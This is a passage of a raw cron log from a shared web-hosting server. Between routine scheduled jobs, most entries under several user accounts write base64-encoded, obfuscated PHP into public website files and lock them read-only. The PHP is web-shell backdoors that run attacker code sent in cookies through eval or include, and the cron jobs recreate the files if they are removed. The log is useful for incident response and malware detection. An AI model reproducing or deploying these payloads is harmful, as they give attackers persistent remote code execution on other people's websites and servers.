JbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:41:01 medusa CROND[31623]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:41:01 medusa CROND[31629]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:41:01 medusa CROND[31631]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:41:01 medusa CROND[31633]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:41:01 medusa CROND[31642]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:41:01 medusa CROND[31646]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:41:01 medusa CROND[31652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:42:01 medusa CROND[20193]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:42:01 medusa CROND[20266]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:42:01 medusa CROND[20363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:42:01 medusa CROND[20408]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:42:01 medusa CROND[20469]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:42:01 medusa CROND[20470]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:42:01 medusa CROND[20473]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:42:01 medusa CROND[20476]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:42:01 medusa CROND[20479]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:42:01 medusa CROND[20480]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:42:01 medusa CROND[20483]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:42:01 medusa CROND[20464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:42:01 medusa CROND[20495]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:43:02 medusa CROND[6906]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:43:02 medusa CROND[6907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:43:02 medusa CROND[6908]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:43:02 medusa CROND[6912]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:43:02 medusa CROND[6915]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 09:43:02 medusa CROND[6917]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 09:43:02 medusa CROND[6922]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:43:02 medusa CROND[6923]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:43:02 medusa CROND[6924]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:43:02 medusa CROND[6916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:43:02 medusa CROND[6927]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:43:02 medusa CROND[6928]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:43:02 medusa CROND[6934]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAg